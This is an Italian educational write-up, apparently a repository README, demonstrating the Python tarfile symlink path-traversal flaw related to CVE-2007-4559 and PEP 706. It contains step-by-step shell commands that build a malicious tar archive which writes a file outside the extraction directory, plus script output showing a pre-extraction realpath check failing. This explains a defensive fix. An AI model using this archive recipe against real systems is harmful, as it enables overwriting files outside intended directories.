
Dimostrazione educativa dell'attacco symlink di Python tarfile relativo a CVE-2007-4559, con uno script che mostra perché os.path.realpath() non riesce a prevenire l'estrazione al di fuori delle directory previste.
Questa è una dimostrazione di come la gestione predefinita di Python dell'estrazione di file tar, precedente alla versione 3.11.4, sia vulnerabile a un semplice attacco tramite symlink. Le istruzioni seguenti descrivono come creare un payload malevolo. Lo script untar.py mostra come e perché funzionano le funzionalità aggiunte nella 3.11.4 - in particolare la necessità di invocare qualcosa come os.path.realpath() prima di ogni scrittura per ogni file. Lo script utilizza esattamente lo stesso metodo di ispezione presente nella funzionalità extraction filter inclusa in Python >= 3.11.4, TRANNE il fatto che non scrive i file su disco. In questo modo dimostra come os.path.realpath() non sia in grado di risolvere correttamente i symlink e di conseguenza consenta ai membri del tar di essere scritti al di fuori della posizione prevista nel filesystem.
istruzioni (questo file) su come configurare il sandbox e il file tar malevolo.
script Python untar.py che dimostra il 'perché' alla base della recente implementazione della validazione avanzata dei tar nella libreria tarfile di Python. A causa del modo in cui funziona os.path.realpath(), non puoi fare affidamento su di esso per risolvere i symlink a meno che quei link non siano già presenti nel filesystem. Questo significa che non puoi fare affidamento solo su os.path.realpath() per ispezionare i percorsi dei membri del tar prima di estrarre l'archivio. Devi invece chiamare os.path.realpath() prima di ogni scrittura per ogni membro dell'archivio per garantire il rilevamento di attività malevole legate ai link. Vedi PEP-706 e documentazione tarfile per maggiori informazioni.
snerd@jess:~$ mkdir -p lab/{lib,target}
./lib all'archivio tarsnerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
./lib con un symlink con lo stesso nome che punta a "."snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
snerd@jess:~/lab$ tar -rvPf terry.tar lib
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
snerd@jess:~/lab/target$ tar -xPvf terry.tar
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file lib target terry.tar
scarica untar.py da questo repository e mettilo nella directory ./lab
esegui lo script. nota quanto sia facile ingannare os.path.realpath() quando il symlink malevolo non è ancora stato scritto nel filesystem di destinazione.
snerd@jess:~/lab$ python3 untar.py
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-
[Python-Dev] vulnerabilità di directory traversal in tarfile
Post su SO su come estrarre archivi tar in sicurezza prima delle nuove funzionalità di Python 3.11.4
Dichiarazione del 2022 del maintainer di lunga data [in pensione dal 2019] della libreria tarlib
implementazione della nuova funzionalità extraction filter introdotta in Python 3.11.4